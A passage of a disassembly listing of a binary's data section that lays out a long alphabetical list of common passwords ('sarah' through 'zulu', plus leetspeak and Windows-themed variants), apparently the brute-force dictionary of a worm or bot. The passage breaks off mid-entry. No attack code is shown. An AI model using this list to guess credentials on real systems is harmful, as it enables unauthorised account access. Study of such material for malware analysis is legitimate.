XREF: .nsp0:0043B6B4o align 4 aSarah db 'sarah',0 ; DATA XREF: .nsp0:0043B6B8o align 4 aSaturday_0 db 'saturday',0 ; DATA XREF: .nsp0:0043B6BCo align 10h aSaturn db 'saturn',0 ; DATA XREF: .nsp0:0043B6C0o align 4 aSaxon db 'saxon',0 ; DATA XREF: .nsp0:0043B6C4o align 10h aScamper db 'scamper',0 ; DATA XREF: .nsp0:0043B6C8o aScheme db 'scheme',0 ; DATA XREF: .nsp0:0043B6CCo align 10h aSchool db 'school',0 ; DATA XREF: .nsp0:0043B6D0o align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .nsp0:0043B6D4o aScifi db 'scifi',0 ; DATA XREF: .nsp0:0043B6D8o align 4 aScorpion db 'scorpion',0 ; DATA XREF: .nsp0:0043B6DCo align 4 aScott db 'scott',0 ; DATA XREF: .nsp0:0043B6E0o align 10h aScotty db 'scotty',0 ; DATA XREF: .nsp0:0043B6E4o align 4 aScout db 'scout',0 ; DATA XREF: .nsp0:0043B6E8o align 10h aSearch db 'search',0 ; DATA XREF: .nsp0:0043B6ECo align 4 aSecurity db 'security',0 ; DATA XREF: .nsp0:0043B6F0o align 4 aSeed db 'seed',0 ; DATA XREF: .nsp0:0043B6F4o align 4 aSega db 'sega',0 ; DATA XREF: .nsp0:0043B6F8o align 4 aSensor db 'sensor',0 ; DATA XREF: .nsp0:0043B6FCo align 4 aSentinel db 'sentinel',0 ; DATA XREF: .nsp0:0043B700o align 4 aSentry db 'sentry',0 ; DATA XREF: .nsp0:0043B704o align 10h aSerenity db 'serenity',0 align 4 aSerial db 'serial',0 align 4 aService_0 db 'service',0 aSesame db 'sesame',0 align 4 aSexy db 'sexy',0 align 4 aShannon db 'shannon',0 aSharc db 'sharc',0 align 4 aShark db 'shark',0 align 4 aSharks db 'sharks',0 align 4 aSharon db 'sharon',0 align 4 aSheffiel db 'sheffiel',0 align 10h aSheldon db 'sheldon',0 aShell db 'shell',0 align 10h aSherri db 'sherri',0 align 4 aShift db 'shift',0 align 10h aShirley db 'shirley',0 aShit db 'shit',0 align 10h aShitpot db 'shitpot',0 aShiva db 'shiva',0 align 10h aShivers db 'shivers',0 aShort db 'short',0 align 10h aShuttle db 'shuttle',0 aSick db 'sick',0 align 10h aSierra db 'sierra',0 align 4 aSignatur db 'signatur',0 align 4 aSilver db 'silver',0 align 4 aSimcity db 'simcity',0 aSimon db 'simon',0 align 4 aSimple db 'simple',0 align 4 aSimpsons db 'simpsons',0 align 10h aSimulati db 'simulati',0 align 4 aSinger db 'singer',0 align 4 aSingle db 'single',0 align 4 aSite db 'site',0 align 4 aSkull db 'skull',0 align 4 aSlave db 'slave',0 align 4 aSlick db 'slick',0 align 4 aSliders db 'sliders',0 aSlow db 'slow',0 align 4 aSlut db 'slut',0 align 4 aSmall db 'small',0 align 4 aSmart db 'smart',0 align 4 aSmile db 'smile',0 align 4 aSmiles db 'smiles',0 align 4 aSmooch db 'smooch',0 align 4 aSmother db 'smother',0 aSmtp db 'smtp',0 align 4 aSmut db 'smut',0 align 4 aSnach db 'snach',0 align 4 aSnafu db 'snafu',0 align 4 aSnake db 'snake',0 align 4 aSnatch db 'snatch',0 align 4 aSnoopy db 'snoopy',0 align 4 aSoap db 'soap',0 align 4 aSocial db 'social',0 align 4 aSocrates db 'socrates',0 align 4 aSodomy db 'sodomy',0 align 10h aSoft db 'soft',0 align 4 aSoftware db 'software',0 align 4 aSomebody db 'somebody',0 align 10h aSondra db 'sondra',0 ; DATA XREF: .nsp0:0043B7F5o align 4 aSonia db 'sonia',0 align 10h aSonic db 'sonic',0 align 4 aSonya db 'sonya',0 ; DATA XREF: .nsp0:0043B801o align 10h aSossina db 'sossina',0 aSource db 'source',0 align 10h aSouth db 'south',0 ; DATA XREF: .nsp0:0043B80Do align 4 aSpaceshi db 'spaceshi',0 align 4 aSparrows db 'sparrows',0 ; DATA XREF: .nsp0:0043B815o align 10h aSpear db 'spear',0 align 4 aSpell db 'spell',0 ; DATA XREF: .nsp0:loc_43B81Do align 10h aSpice db 'spice',0 align 4 aSpider db 'spider',0 align 10h aSpiderma db 'spiderma',0 align 4 aSpit db 'spit',0 align 4 aSpred db 'spred',0 ; DATA XREF: .nsp0:0043B831o align 4 aSpring db 'spring',0 align 4 aSpringer db 'springer',0 ; DATA XREF: .nsp0:0043B839o align 10h aSpunk db 'spunk',0 align 4 aSquires db 'squires',0 aSr71 db 'sr71',0 align 4 aStacey db 'stacey',0 ; DATA XREF: .nsp0:0043B849o align 10h aStaci db 'staci',0 align 4 aStacie db 'stacie',0 align 10h aStacy db 'stacy',0 ; DATA XREF: .nsp0:0043B855o align 4 aStar db 'star',0 ; DATA XREF: .nsp0:0043B85Co align 10h aStarship db 'starship',0 ; DATA XREF: .nsp0:0043B860o align 4 aStart_0 db 'start',0 ; DATA XREF: .nsp0:0043B864o align 4 aStartrek db 'startrek',0 ; DATA XREF: .nsp0:0043B868o align 10h aStartup db 'startup',0 ; DATA XREF: .nsp0:0043B86Co aStarwars db 'starwars',0 ; DATA XREF: .nsp0:0043B870o align 4 aSteak db 'steak',0 ; DATA XREF: .nsp0:0043B874o align 4 aSteal db 'steal',0 ; DATA XREF: .nsp0:0043B878o align 4 aSteel db 'steel',0 ; DATA XREF: .nsp0:0043B87Co align 4 aSteph db 'steph',0 ; DATA XREF: .nsp0:0043B880o align 4 aStephani db 'stephani',0 ; DATA XREF: .nsp0:0043B884o align 10h aStereo db 'stereo',0 ; DATA XREF: .nsp0:0043B888o align 4 aSteve db 'steve',0 ; DATA XREF: .nsp0:0043B88Co align 10h aStoneage db 'stoneage',0 ; DATA XREF: .nsp0:0043B890o align 4 aStoned db 'stoned',0 ; DATA XREF: .nsp0:0043B894o align 4 aStones db 'stones',0 ; DATA XREF: .nsp0:0043B898o align 4 aStrange db 'strange',0 ; DATA XREF: .nsp0:0043B89Co aStrangle db 'strangle',0 ; DATA XREF: .nsp0:0043B8A0o align 10h aStratfor db 'stratfor',0 ; DATA XREF: .nsp0:0043B8A4o align 4 aStreetfi db 'streetfi',0 ; DATA XREF: .nsp0:0043B8A8o align 4 aString db 'string',0 ; DATA XREF: .nsp0:0043B8ACo align 10h aStrip db 'strip',0 ; DATA XREF: .nsp0:0043B8B0o align 4 aStudent_0 db 'student',0 ; DATA XREF: .nsp0:0043B8B4o aStuttgar db 'stuttgar',0 ; DATA XREF: .nsp0:0043B8B8o align 4 aSubscrib db 'subscrib',0 ; DATA XREF: .nsp0:0043B8BCo align 4 aSubway db 'subway',0 ; DATA XREF: .nsp0:0043B8C0o align 10h aSuccess db 'success',0 ; DATA XREF: .nsp0:0043B8C4o aSuck db 'suck',0 ; DATA XREF: .nsp0:0043B8C8o align 10h aSuckmydi db 'suckmydi',0 ; DATA XREF: .nsp0:0043B8CCo align 4 aSucks db 'sucks',0 ; DATA XREF: .nsp0:0043B8D0o align 4 aSummer db 'summer',0 ; DATA XREF: .nsp0:0043B8D4o align 4 aSunday_0 db 'sunday',0 ; DATA XREF: .nsp0:0043B8D8o align 4 aSuperman db 'superman',0 ; DATA XREF: .nsp0:0043B8DCo align 10h aSuperson db 'superson',0 ; DATA XREF: .nsp0:0043B8E0o align 4 aSupersta db 'supersta',0 ; DATA XREF: .nsp0:0043B8E4o align 4 aSuperuse db 'superuse',0 ; DATA XREF: .nsp0:0043B8E8o align 4 aSupervis db 'supervis',0 ; DATA XREF: .nsp0:0043B8ECo align 10h aSupport db 'support',0 ; DATA XREF: .nsp0:0043B8F0o aSupporte db 'supporte',0 ; DATA XREF: .nsp0:0043B8F4o align 4 aSurfer db 'surfer',0 ; DATA XREF: .nsp0:0043B8F8o align 4 aSurfing db 'surfing',0 ; DATA XREF: .nsp0:0043B8FCo aSusan db 'susan',0 ; DATA XREF: .nsp0:0043B900o align 4 aSusanne db 'susanne',0 ; DATA XREF: .nsp0:0043B904o aSusie db 'susie',0 ; DATA XREF: .nsp0:0043B908o align 4 aSuzanne db 'suzanne',0 ; DATA XREF: .nsp0:0043B90Co aSuzie db 'suzie',0 ; DATA XREF: .nsp0:0043B910o align 4 aSwearer db 'swearer',0 ; DATA XREF: .nsp0:0043B914o aSweat db 'sweat',0 ; DATA XREF: .nsp0:0043B918o align 4 aSwitch db 'switch',0 ; DATA XREF: .nsp0:0043B91Co align 4 aSword db 'sword',0 ; DATA XREF: .nsp0:0043B920o align 4 aSybil db 'sybil',0 ; DATA XREF: .nsp0:0043B924o align 4 aSymmetry db 'symmetry',0 ; DATA XREF: .nsp0:0043B928o align 10h aSysadmin db 'sysadmin',0 ; DATA XREF: .nsp0:0043B92Co align 4 aSysop db 'sysop',0 ; DATA XREF: .nsp0:0043B930o align 4 aTabasco db 'tabasco',0 ; DATA XREF: .nsp0:0043B934o aTalk db 'talk',0 ; DATA XREF: .nsp0:0043B938o align 4 aTall db 'tall',0 ; DATA XREF: .nsp0:0043B93Co align 4 aTamara db 'tamara',0 ; DATA XREF: .nsp0:0043B940o align 4 aTami db 'tami',0 ; DATA XREF: .nsp0:0043B944o align 4 aTamie db 'tamie',0 ; DATA XREF: .nsp0:0043B948o align 4 aTammy db 'tammy',0 ; DATA XREF: .nsp0:0043B94Co align 4 aTangerin db 'tangerin',0 ; DATA XREF: .nsp0:0043B950o align 4 aTango db 'tango',0 ; DATA XREF: .nsp0:0043B954o align 10h aTape db 'tape',0 ; DATA XREF: .nsp0:0043B958o align 4 aTara db 'tara',0 ; DATA XREF: .nsp0:0043B95Co align 10h aTarget db 'target',0 ; DATA XREF: .nsp0:0043B960o align 4 aTarragon db 'tarragon',0 ; DATA XREF: .nsp0:0043B964o align 4 aTaylor db 'taylor',0 ; DATA XREF: .nsp0:0043B968o align 4 aTeacher_0 db 'teacher',0 ; DATA XREF: .nsp0:0043B96Co aTeam db 'team',0 ; DATA XREF: .nsp0:0043B970o align 4 aTeapot db 'teapot',0 ; DATA XREF: .nsp0:0043B974o align 4 aTears db 'tears',0 ; DATA XREF: .nsp0:0043B978o align 4 aTech db 'tech',0 ; DATA XREF: .nsp0:0043B97Co align 4 aTeen db 'teen',0 ; DATA XREF: .nsp0:0043B980o align 4 aTeenage db 'teenage',0 ; DATA XREF: .nsp0:0043B984o aTelephon db 'telephon',0 ; DATA XREF: .nsp0:0043B988o align 10h aTelnet db 'telnet',0 ; DATA XREF: .nsp0:0043B98Co align 4 aTemptati db 'temptati',0 ; DATA XREF: .nsp0:0043B990o align 4 aTennis db 'tennis',0 ; DATA XREF: .nsp0:0043B994o align 4 aTera db 'tera',0 ; DATA XREF: .nsp0:0043B998o align 4 aTerminal db 'terminal',0 ; DATA XREF: .nsp0:0043B99Co align 10h aTerminat db 'terminat',0 ; DATA XREF: .nsp0:0043B9A0o align 4 aTess db 'tess',0 ; DATA XREF: .nsp0:0043B9A4o align 4 aTetris db 'tetris',0 ; DATA XREF: .nsp0:0043B9A8o align 4 aText db 'text',0 ; DATA XREF: .nsp0:0043B9ACo align 4 aThailand db 'thailand',0 ; DATA XREF: .nsp0:0043B9B0o align 10h aTheresa db 'theresa',0 ; DATA XREF: .nsp0:0043B9B4o aThin db 'thin',0 ; DATA XREF: .nsp0:0043B9B8o align 10h aThursday_0 db 'thursday',0 ; DATA XREF: .nsp0:0043B9BCo align 4 aTiffany db 'tiffany',0 ; DATA XREF: .nsp0:0043B9C0o aTiger db 'tiger',0 ; DATA XREF: .nsp0:0043B9C4o align 4 aTime db 'time',0 ; DATA XREF: .nsp0:0043B9C8o align 4 aTina db 'tina',0 ; DATA XREF: .nsp0:0043B9CCo align 4 aTits db 'tits',0 ; DATA XREF: .nsp0:0043B9D0o align 4 aToad db 'toad',0 ; DATA XREF: .nsp0:0043B9D4o align 4 aToggle db 'toggle',0 ; DATA XREF: .nsp0:0043B9D8o align 4 aToken db 'token',0 ; DATA XREF: .nsp0:0043B9DCo align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: .nsp0:0043B9E0o align 4 aTomato db 'tomato',0 ; DATA XREF: .nsp0:0043B9E4o align 10h aTopograp db 'topograp',0 ; DATA XREF: .nsp0:0043B9E8o align 4 aTortoise db 'tortoise',0 ; DATA XREF: .nsp0:0043B9ECo align 4 aToxic db 'toxic',0 ; DATA XREF: .nsp0:0043B9F0o align 10h aToyota db 'toyota',0 ; DATA XREF: .nsp0:0043B9F4o align 4 aTraci db 'traci',0 ; DATA XREF: .nsp0:0043B9F8o align 10h aTracie db 'tracie',0 ; DATA XREF: .nsp0:0043B9FCo align 4 aTracy db 'tracy',0 ; DATA XREF: .nsp0:0043BA00o align 10h aTrails db 'trails',0 ; DATA XREF: .nsp0:0043BA04o align 4 aTransfer db 'transfer',0 ; DATA XREF: .nsp0:0043BA08o align 4 aTrap db 'trap',0 ; DATA XREF: .nsp0:0043BA0Co align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: .nsp0:0043BA10o align 4 aTree db 'tree',0 ; DATA XREF: .nsp0:0043BA14o align 10h aTrek db 'trek',0 ; DATA XREF: .nsp0:0043BA18o align 4 aTrisha db 'trisha',0 ; DATA XREF: .nsp0:0043BA1Co align 10h aTrivial db 'trivial',0 ; DATA XREF: .nsp0:0043BA20o aTrojan db 'trojan',0 ; DATA XREF: .nsp0:0043BA24o align 10h aTrombone db 'trombone',0 ; DATA XREF: .nsp0:0043BA28o align 4 aTron db 'tron',0 ; DATA XREF: .nsp0:0043BA2Co align 4 aTrue db 'true',0 ; DATA XREF: .nsp0:0043BA30o align 4 aTruth db 'truth',0 ; DATA XREF: .nsp0:0043BA34o align 4 aTubas db 'tubas',0 ; DATA XREF: .nsp0:0043BA38o align 4 aTuesday_0 db 'tuesday',0 ; DATA XREF: .nsp0:0043BA3Co aTurn db 'turn',0 ; DATA XREF: .nsp0:0043BA40o align 4 aTuttle db 'tuttle',0 ; DATA XREF: .nsp0:0043BA44o align 4 aUgly db 'ugly',0 ; DATA XREF: .nsp0:0043BA48o align 4 aUmesh db 'umesh',0 ; DATA XREF: .nsp0:0043BA4Co align 4 aUncle db 'uncle',0 ; DATA XREF: .nsp0:0043BA50o align 4 aUndo db 'undo',0 ; DATA XREF: .nsp0:0043BA54o align 4 aUnhappy db 'unhappy',0 ; DATA XREF: .nsp0:0043BA58o aUnicorn db 'unicorn',0 ; DATA XREF: .nsp0:0043BA5Co aUniform db 'uniform',0 ; DATA XREF: .nsp0:0043BA60o aUniversa db 'universa',0 ; DATA XREF: .nsp0:0043BA64o align 4 aUniverse db 'universe',0 ; DATA XREF: .nsp0:0043BA68o align 4 aUniversi db 'universi',0 ; DATA XREF: .nsp0:0043BA6Co align 10h aUnknown_1 db 'unknown',0 ; DATA XREF: .nsp0:0043BA70o aUnlock db 'unlock',0 ; DATA XREF: .nsp0:0043BA74o align 10h aUpload_0 db 'upload',0 ; DATA XREF: .nsp0:0043BA78o align 4 aUranus db 'uranus',0 ; DATA XREF: .nsp0:0043BA7Co align 10h aUrchin db 'urchin',0 ; DATA XREF: .nsp0:0043BA80o align 4 aUrsula db 'ursula',0 ; DATA XREF: .nsp0:0043BA84o align 10h aUsenet db 'usenet',0 ; DATA XREF: .nsp0:0043BA88o align 4 aUsermane db 'usermane',0 ; DATA XREF: .nsp0:0043BA8Co align 4 aUsername db 'username',0 ; DATA XREF: .nsp0:0043BA90o align 10h aUsmc db 'usmc',0 ; DATA XREF: .nsp0:0043BA94o align 4 aUtil db 'util',0 ; DATA XREF: .nsp0:0043BA98o align 10h aUtility db 'utility',0 ; DATA XREF: .nsp0:0043BA9Co aUucp db 'uucp',0 ; DATA XREF: .nsp0:0043BAA0o align 10h aVagina db 'vagina',0 ; DATA XREF: .nsp0:0043BAA4o align 4 aValerie db 'valerie',0 ; DATA XREF: .nsp0:0043BAA8o aVampire db 'vampire',0 ; DATA XREF: .nsp0:0043BAACo aVasant db 'vasant',0 ; DATA XREF: .nsp0:0043BAB0o align 10h aVenus db 'venus',0 ; DATA XREF: .nsp0:0043BAB4o align 4 aVeronica db 'veronica',0 ; DATA XREF: .nsp0:0043BAB8o align 4 aVertigo db 'vertigo',0 ; DATA XREF: .nsp0:0043BABCo aVicky db 'vicky',0 ; DATA XREF: .nsp0:0043BAC0o align 4 aVictor db 'victor',0 ; DATA XREF: .nsp0:0043BAC4o align 4 aVideo db 'video',0 ; DATA XREF: .nsp0:0043BAC8o align 4 aVideogam db 'videogam',0 ; DATA XREF: .nsp0:0043BACCo align 10h aVillage db 'village',0 ; DATA XREF: .nsp0:0043BAD0o aVirgin db 'virgin',0 ; DATA XREF: .nsp0:0043BAD4o align 10h aVirginia db 'virginia',0 ; DATA XREF: .nsp0:0043BAD8o align 4 aVirus db 'virus',0 ; DATA XREF: .nsp0:0043BADCo align 4 aVisitor db 'visitor',0 ; DATA XREF: .nsp0:0043BAE0o aVisual db 'visual',0 ; DATA XREF: .nsp0:0043BAE4o align 4 aVisualba db 'visualba',0 ; DATA XREF: .nsp0:0043BAE8o align 10h aVodka db 'vodka',0 ; DATA XREF: .nsp0:0043BAECo align 4 aWaco db 'waco',0 ; DATA XREF: .nsp0:0043BAF0o align 10h aWard db 'ward',0 ; DATA XREF: .nsp0:0043BAF4o align 4 aWarez db 'warez',0 ; DATA XREF: .nsp0:0043BAF8o align 10h aWarfare db 'warfare',0 ; DATA XREF: .nsp0:0043BAFCo aWargames db 'wargames',0 ; DATA XREF: .nsp0:0043BB00o align 4 aWarp db 'warp',0 ; DATA XREF: .nsp0:0043BB04o align 4 aWarren db 'warren',0 ; DATA XREF: .nsp0:0043BB08o align 4 aWasp db 'wasp',0 ; DATA XREF: .nsp0:0043BB0Co align 4 aWatchwor db 'watchwor',0 ; DATA XREF: .nsp0:0043BB10o align 4 aWater db 'water',0 ; DATA XREF: .nsp0:0043BB14o align 10h aWave db 'wave',0 ; DATA XREF: .nsp0:0043BB18o align 4 aWebpage db 'webpage',0 ; DATA XREF: .nsp0:0043BB1Co aWednesda db 'wednesda',0 ; DATA XREF: .nsp0:0043BB20o align 4 aWeed db 'weed',0 ; DATA XREF: .nsp0:0043BB24o align 4 aWeenie db 'weenie',0 ; DATA XREF: .nsp0:0043BB28o align 4 aWell db 'well',0 ; DATA XREF: .nsp0:0043BB2Co align 4 aWendi db 'wendi',0 ; DATA XREF: .nsp0:0043BB30o align 4 aWendy db 'wendy',0 ; DATA XREF: .nsp0:0043BB34o align 4 aWerewolf db 'werewolf',0 ; DATA XREF: .nsp0:0043BB38o align 10h aWest db 'west',0 align 4 aWestern db 'western',0 aWhatever db 'whatever',0 align 4 aWhatnot db 'whatnot',0 aWhisky db 'whisky',0 align 4 aWhite db 'white',0 align 4 aWhiting db 'whiting',0 aWhitney db 'whitney',0 aWholesal db 'wholesal',0 align 10h aWhore db 'whore',0 align 4 aWill db 'will',0 align 10h aWilliam db 'william',0 aWilliams db 'williams',0 align 4 aWillie db 'willie',0 align 4 aWilma db 'wilma',0 align 4 aWindows db 'windows',0 ; DATA XREF: .nsp0:0043BB78o aWine db 'wine',0 ; DATA XREF: .nsp0:0043BB7Co align 4 aWing db 'wing',0 ; DATA XREF: .nsp0:0043BB80o align 4 aWinston db 'winston',0 ; DATA XREF: .nsp0:0043BB84o aWired db 'wired',0 ; DATA XREF: .nsp0:0043BB88o align 4 aWisconsi db 'wisconsi',0 ; DATA XREF: .nsp0:0043BB8Co align 4 aWiseass db 'wiseass',0 ; DATA XREF: .nsp0:0043BB90o aWithin db 'within',0 ; DATA XREF: .nsp0:0043BB94o align 4 aWizard db 'wizard',0 ; DATA XREF: .nsp0:0043BB98o align 10h aWolf db 'wolf',0 ; DATA XREF: .nsp0:0043BB9Co align 4 aWolverin db 'wolverin',0 ; DATA XREF: .nsp0:0043BBA0o align 4 aWoman db 'woman',0 ; DATA XREF: .nsp0:0043BBA4o align 4 aWombat db 'wombat',0 ; DATA XREF: .nsp0:0043BBA8o align 4 aWomen db 'women',0 ; DATA XREF: .nsp0:0043BBACo align 4 aWood db 'wood',0 ; DATA XREF: .nsp0:0043BBB0o align 4 aWoodwind db 'woodwind',0 ; DATA XREF: .nsp0:0043BBB4o align 10h aWord db 'word',0 ; DATA XREF: .nsp0:0043BBB8o align 4 aWordperf db 'wordperf',0 ; DATA XREF: .nsp0:0043BBBCo align 4 aWorf db 'worf',0 ; DATA XREF: .nsp0:0043BBC0o align 4 aWork db 'work',0 ; DATA XREF: .nsp0:0043BBC4o align 4 aWorm db 'worm',0 ; DATA XREF: .nsp0:0043BBC8o align 4 aWormwood db 'wormwood',0 ; DATA XREF: .nsp0:0043BBCCo align 4 aWwii db 'wwii',0 ; DATA XREF: .nsp0:0043BBD0o align 10h aWyoming db 'wyoming',0 ; DATA XREF: .nsp0:0043BBD4o aXena db 'xena',0 ; DATA XREF: .nsp0:0043BBD8o align 10h aXfer db 'xfer',0 ; DATA XREF: .nsp0:0043BBDCo align 4 aXman db 'xman',0 ; DATA XREF: .nsp0:0043BBE0o align 10h aXmen db 'xmen',0 ; DATA XREF: .nsp0:0043BBE4o align 4 aXmodem db 'xmodem',0 ; DATA XREF: .nsp0:0043BBE8o align 10h aXray db 'xray',0 ; DATA XREF: .nsp0:0043BBECo align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: .nsp0:0043BBF0o align 10h aYaco db 'yaco',0 ; DATA XREF: .nsp0:0043BBF4o align 4 aYang db 'yang',0 ; DATA XREF: .nsp0:0043BBF8o align 10h aYankee db 'yankee',0 ; DATA XREF: .nsp0:0043BBFCo align 4 aYellow db 'yellow',0 ; DATA XREF: .nsp0:0043BC00o align 10h aYellowst db 'yellowst',0 ; DATA XREF: .nsp0:0043BC04o align 4 aYolanda db 'yolanda',0 ; DATA XREF: .nsp0:0043BC08o aYosemite db 'yosemite',0 ; DATA XREF: .nsp0:0043BC0Co align 10h aYoung db 'young',0 ; DATA XREF: .nsp0:0043BC10o align 4 aZebra db 'zebra',0 ; DATA XREF: .nsp0:0043BC14o align 10h aZeitgeis db 'zeitgeis',0 ; DATA XREF: .nsp0:0043BC18o align 4 aZiggy db 'ziggy',0 ; DATA XREF: .nsp0:0043BC1Co align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: .nsp0:0043BC20o align 10h aZmodem db 'zmodem',0 ; DATA XREF: .nsp0:0043BC24o align 4 aZombie db 'zombie',0 ; DATA XREF: .nsp0:0043BC28o align 10h aZulu db 'zulu',0 ; DATA XREF: .nsp0:0043BC2Co align 4 a00000000 db '00000000',0 ; DATA XREF: .nsp0:0043BC30o align 4 aTester db 'tester',0 ; DATA XREF: .nsp0:0043BC34o align 4 aTestin db 'testin',0 ; DATA XREF: .nsp0:0043BC38o align 4 aRoss db 'Ross',0 ; DATA XREF: .nsp0:0043BC3Co align 4 aRosco db 'Rosco',0 ; DATA XREF: .nsp0:0043BC40o align 4 aRoscop db 'RoscoP',0 ; DATA XREF: .nsp0:0043BC44o align 4 aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .nsp0:0043BC48o align 4 aLol db 'lol',0 ; DATA XREF: .nsp0:0043BC4Co aD00d db 'd00d',0 ; DATA XREF: .nsp0:0043BC50o align 4 aDudette db 'dudette',0 ; DATA XREF: .nsp0:0043BC54o aDud3 db 'dud3',0 ; DATA XREF: .nsp0:0043BC58o align 4 aAl3x db 'Al3x',0 ; DATA XREF: .nsp0:0043BC5Co align 10h aAlexander db 'Alexander',0 ; DATA XREF: .nsp0:0043BC60o align 4 aDonaldduck db 'donaldduck',0 ; DATA XREF: .nsp0:0043BC64o align 4 aWileecoyote db 'wileecoyote',0 ; DATA XREF: .nsp0:0043BC68o aWindowz db 'windowz',0 ; DATA XREF: .nsp0:0043BC6Co aWindoze db 'windoze',0 ; DATA XREF: .nsp0:0043BC70o aWindose db 'windose',0 ; DATA XREF: .nsp0:0043BC74o aBilly db 'billy',0 ; DATA XREF: .nsp0:0043BC78o align 4 aM_2 db 'M$',0 ; DATA XREF: .nsp0:0043BC7Co align 4 aMs db 'MS',0 ; DATA XREF: .nsp0:0043BC80o align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: .nsp0:0043BC84o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: .nsp0:0043BC88o align 4 aWindowsme db 'windowsME',0 ; DATA XREF: .nsp0:0043BC8Co align 10h aWindows98 db 'windows98',0 ; DATA XREF: .nsp0:0043BC90o align 4 aWindows95 db 'windows95',0 ; DATA XREF: .nsp0:0043BC94o align 4 aWindozexp db 'windozexp',0 ; DATA XREF: .nsp0:0043BC98o align 4 aWindoze2k db 'windoze2k',0 ; DATA XREF: .nsp0:0043BC9Co align 10h aWindozeme db 'windozeME',0 ; DATA XREF: .nsp0:0043BCA0o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: .nsp0:0043BCA4o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: .nsp0:0043BCA8o align 4 aWh0r3 db 'wh0r3',0 ; DATA XREF: .nsp0:0043BCACo align 4 aHo db 'ho',0 ; DATA XREF: .nsp0:0043BCB0o align 10h aWh0re db 'wh0re',0 ; DATA XREF: .nsp0:0043BCB4o align 4 aHax db 'hax',0 ; DATA XREF: .nsp0:0043BCB8o aHaxing db 'haxing',0 ; DATA XREF: .nsp0:0043BCBCo align 4 aH4x1ng db 'h4x1ng',0 ; DATA XREF: .nsp0:0043BCC0o align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .nsp0:0043BCC4o align 4 aH4x0ring db 'h4x0ring',0 ; DATA XREF: .nsp0:0043BCC8o align 4 aAda db 'ada',0 ; DATA XREF: .nsp0:0043BCCCo aAlbatross db 'albatross',0 ; DATA XREF: .nsp0:0043BCD0o align 4 aAlf db 'alf',0 ; DATA XREF: .nsp0:0043BCD4o aAma db 'ama',0 ; DATA XREF: .nsp0:0043BCD8o aAmorphous db 'amorphous',0 ; DATA XREF: .nsp0:0043BCDCo align 4 aAmy db 'amy',0 ; DATA XREF: .nsp0:0043BCE0o aAndromache db 'andromache',0 ; DATA XREF: .nsp0:0043BCE4o align 4 aAnn db 'ann',0 ; DATA XREF: .nsp0:0043BCE8o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .nsp0:0043BCECo align 4 aAsd db 'asd',0 ; DATA XREF: .nsp0:0043BCF0o aAsm db 'asm',0 ; DATA XREF: .nsp0:0043BCF4o aAtmosphere db 'atmosphere',0 ; DATA XREF: .nsp0:0043BCF8o align 10h aBeethoven db 'beethoven',0 ; DATA XREF: .nsp0:0043BCFCo align 4 aBicameral db 'bicameral',0 ; DATA XREF: .nsp0:0043BD00o align 4 aBob db 'bob',0 ; DATA XREF: .nsp0:0043BD04o aBsd db 'bsd',0 ; DATA XREF: .nsp0:0043BD08o aCad db 'cad',0 ; DATA XREF: .nsp0:0043BD0Co aCampanile db 'campanile',0 ; DATA XREF: .nsp0:0043BD10o align 10h aCat db 'cat',0 ; DATA XREF: .nsp0:0043BD14o aCatherine db 'catherine',0 ; DATA XREF: .nsp0:0043BD18o align 10h aChemistry db 'chemistry',0 ; DATA XREF: .nsp0:0043BD1Co align 4 aChristina db 'christina',0 ; DATA XREF: .nsp0:0043BD20o align 4 aChristine db 'christine',0 ; DATA XREF: .nsp0:0043BD24o align 4 aCommrades db 'commrades',0 ; DATA XREF: .nsp0:0043BD28o align 10h aCornelius db 'cornelius',0 ; DATA XREF: .nsp0:0043BD2Co align 4 aDeb db 'deb',0 ; DATA XREF: .nsp0:0043BD30o aDesperate db 'desperate',0 ; DATA XREF: .nsp0:0043BD34o align 4 aDiscovery db 'discovery',0 ; DATA XREF: .nsp0:0043BD38o align 4 aDog db 'dog',0 ; DATA XREF: .nsp0:0043BD3Co aDos db 'dos',0 ; DATA XREF: .nsp0:0043BD40o aEdinburgh db 'edinburgh',0 ; DATA XREF: .nsp0:0043BD44o align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: .nsp0:0043BD48o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: .nsp0:0043BD4Co align 4 aEnterprise db 'enterprise',0 ; DATA XREF: .nsp0:0043BD50o align 10h aEstablish db 'establish',0 ; DATA XREF: .nsp0:0043BD54o align 4 aExtension db 'extension',0 ; DATA XREF: .nsp0:0043BD58o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: .nsp0:0043BD5Co align 4 aForesight db 'foresight',0 ; DATA XREF: .nsp0:0043BD60o align 10h aFun db 'fun',0 ; DATA XREF: .nsp0:0043BD64o aGnu db 'gnu',0 ; DATA XREF: .nsp0:0043BD68o aHal db 'hal',0 ; DATA XREF: .nsp0:0043BD6Co aHappening db 'happening',0 ; DATA XREF: .nsp0:0043BD70o align 4 aIbm db 'ibm',0 ; DATA XREF: .nsp0:0043BD74o aImbroglio db 'imbroglio',0 ; DATA XREF: .nsp0:0043BD78o align 4 aInnocuous db 'innocuous',0 ; DATA XREF: .nsp0:0043BD7Co align 4 aJen db 'jen',0 ; DATA XREF: .nsp0:0043BD80o aJoy db 'joy',0 ; DATA XREF: .nsp0:0043BD84o aKey_0 db 'key',0 ; DATA XREF: .nsp0:0043BD88o aKim db 'kim',0 ; DATA XREF: .nsp0:0043BD8Co aLamination db 'lamination',0 ; DATA XREF: .nsp0:0043BD90o align 10h aLee db 'lee',0 ; DATA XREF: .nsp0:0043BD94o aLiz db 'liz',0 ; DATA XREF: .nsp0:0043BD98o aMacintosh db 'macintosh',0 ; DATA XREF: .nsp0:0043BD9Co align 4 aMgr db 'mgr',0 ; DATA XREF: .nsp0:0043BDA0o aMit db 'mit',0 ; DATA XREF: .nsp0:0043BDA4o aNet db 'net',0 ; DATA XREF: .nsp0:0043BDA8o aNew db 'new',0 ; DATA XREF: .nsp0:0043BDACo aNutrition db 'nutrition',0 ; DATA XREF: .nsp0:0043BDB0o align 10h aOceanography db 